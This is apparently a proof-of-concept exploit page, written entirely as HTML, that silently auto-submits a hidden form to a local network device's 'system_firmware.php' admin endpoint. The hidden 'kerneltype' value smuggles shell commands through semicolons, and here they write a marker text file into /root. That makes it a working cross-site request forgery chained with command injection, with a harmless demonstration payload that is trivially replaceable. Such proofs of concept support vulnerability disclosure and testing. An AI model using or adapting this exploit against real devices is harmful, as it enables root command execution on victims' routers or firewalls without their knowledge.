<html><body>
<form name=\'x\' action=\'http://192.168.xxx.1:80/system_firmware.php\' method=\'post\'>
<input type=\'hidden\' name=\'kerneltype\'
value=\'cualquiercosa ; echo "Me parece haber visto un lindo gatito" > /root/Evidencia_CSRF.txt ; echo SMP\'
/></form>
<script>document.forms[\'x\'].submit();</script>
</body></html>